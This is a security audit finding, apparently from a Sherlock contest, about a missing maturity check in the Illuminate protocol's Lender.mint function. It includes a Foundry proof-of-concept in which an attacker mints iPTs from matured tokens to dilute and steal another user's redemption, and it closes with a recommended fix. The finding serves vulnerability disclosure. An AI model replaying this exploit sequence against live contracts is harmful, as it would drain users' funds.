kenzo

high

# Attacker can steal funds from redemptions by minting matured PTs

## Summary
`Lender.mint` function does not check whether the principal pulled from the user has matured.
This can lead to bad accounting and even allows an attacker to steal funds when user try to redeem their iPTs.

## Vulnerability Detail
In the `mint` method, `Lender` pulls protocol PTs from the user and mints iPTs in return.
**It does not check whether the supplied PT or the iPT has matured.**
A user or attacker can mint additional iPTs after the protocol PTs have already been redeemed by the Redeemer, thereby creating an **inconsistency between iPT's totalSupply and Redeemer's holdings array**. This will lead to loss for users trying to redeem at this state.
This can happen both accidently or maliciously.

## Impact
Loss of user funds.
Let's say Alice and Malaclypse hold each 100 YieldPTs.
Before maturity, Alice mints 100 iPTs using her YPTs.
At maturity, somebody redeems Yield market using `Redeemer`.
After that, Malaclypse uses `Lender.mint` to mint 100 iPTs from his YPTs.
**At this point, the iPT totalSupply is 200, but the Redeemer `holdings` array contains only 100 underlying redeemed.**
Now Alice tries to redeem her iPTs. Since she owns 100/200 of the iPTs, she will get half of the holdings array - 50 underlying - but all of her iPTs have been burned. Therefore she lost funds.
Now if Malaclypse redeems Yield market again, and then redeems his iPTs, since he owns all of the supply he will get 150 underlying.
I programmed such a POC and attached below.

## Code Snippet
The mint [function](https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L270) doesn't check if the market has matured:
```solidity
    function mint(uint8 p, address u, uint256 m, uint256 a) external unpaused(u, m, p) returns (bool) {
        address principal = IMarketPlace(marketPlace).token(u, m, p);
        Safe.transferFrom(IERC20(principal), msg.sender, address(this), a);
        IERC5095(principalToken(u, m)).authMint(msg.sender, a);
        emit Mint(p, u, m, a);
        return true;
    }
```
Therefore a user/attacker can mint tokens iPTs through matured markets, and create the abovementioned loss/attack. See POC.

## Proof of Concept
I created the following POC to show such an attack.
In it Alice simply tries to redeem her tokens, but Malaclypse sandwiches her redemption and steals her funds.
The final assertion in the test asserts that Alice has her starting balance back - but it fails, since Mal stole it.
Add the test to fork/Redeemer.t.sol.
```solidity
function testTryToStealUsingMaturedPTs() public {
        // deploy market
        deployMarket(Contracts.USDC, 0);

        // give redeemer underlying tokens
        deal(Contracts.USDC, address(r), startingBalance);

        // update holdings by executing another redeem
        address principalToken = Contracts.YIELD_TOKEN;
        {
            

            // give lender principal tokens
            deal(principalToken, address(l), startingBalance);

            // approve lender to transfer principal tokens
            vm.startPrank(address(l));
            IERC20(principalToken).approve(address(r), startingBalance*2);
            vm.stopPrank();

            vm.startPrank(msg.sender);

            // execute the redemption
            r.redeem(2, Contracts.USDC, maturity);
            vm.stopPrank();
        }
        // give user illuminate tokens
        address illuminateToken = mp.markets(Contracts.USDC, maturity, 0);
        deal(illuminateToken, msg.sender, startingBalance, true);

        // Set up attacker with matured YieldPTs
        address attacker = address(5);
        deal(principalToken, attacker, startingBalance);

        // At this point, Yield has already been redeemed.
        // The legit user now tries to redeem his iPTs, but attacker sandwiches him and steals his funds.

        // Attacker: mint iPTs for YieldPTs through Lender
        vm.startPrank(attacker);
        IERC20(principalToken).approve(address(l), startingBalance);
        l.mint(2, Contracts.USDC, maturity, startingBalance);
        vm.stopPrank();
        // Original user redeems his iPTs - will get less underlying as accounting is inconsistent
        vm.prank(msg.sender);
        r.redeem(Contracts.USDC, maturity);
        // Now attacker redeems the market again and then redeems his iPTs
        vm.startPrank(attacker);
        r.redeem(2, Contracts.USDC, maturity);
        r.redeem(Contracts.USDC, maturity);

        // Original user should have his original balance back - but he doesn't, as attacker siphoned it. Assertion will fail.
        assertEq(IERC20(Contracts.USDC).balanceOf(msg.sender), startingBalance);
    }
```

## Tool used
Manual Review

## Recommendation
In `Lender.mint`, don't allow minting if the user-supplied PT has matured.
Note that this issue also brings to mind the possible problem with users *redeeming their iPTs* before all protocol redemptions have occurred. But I believe that can be considered a different issue. This current issue is about needing to make sure users can not accidently or maliciously *mint iPTs* that will *dilute* the redemption value for previous iPT holders.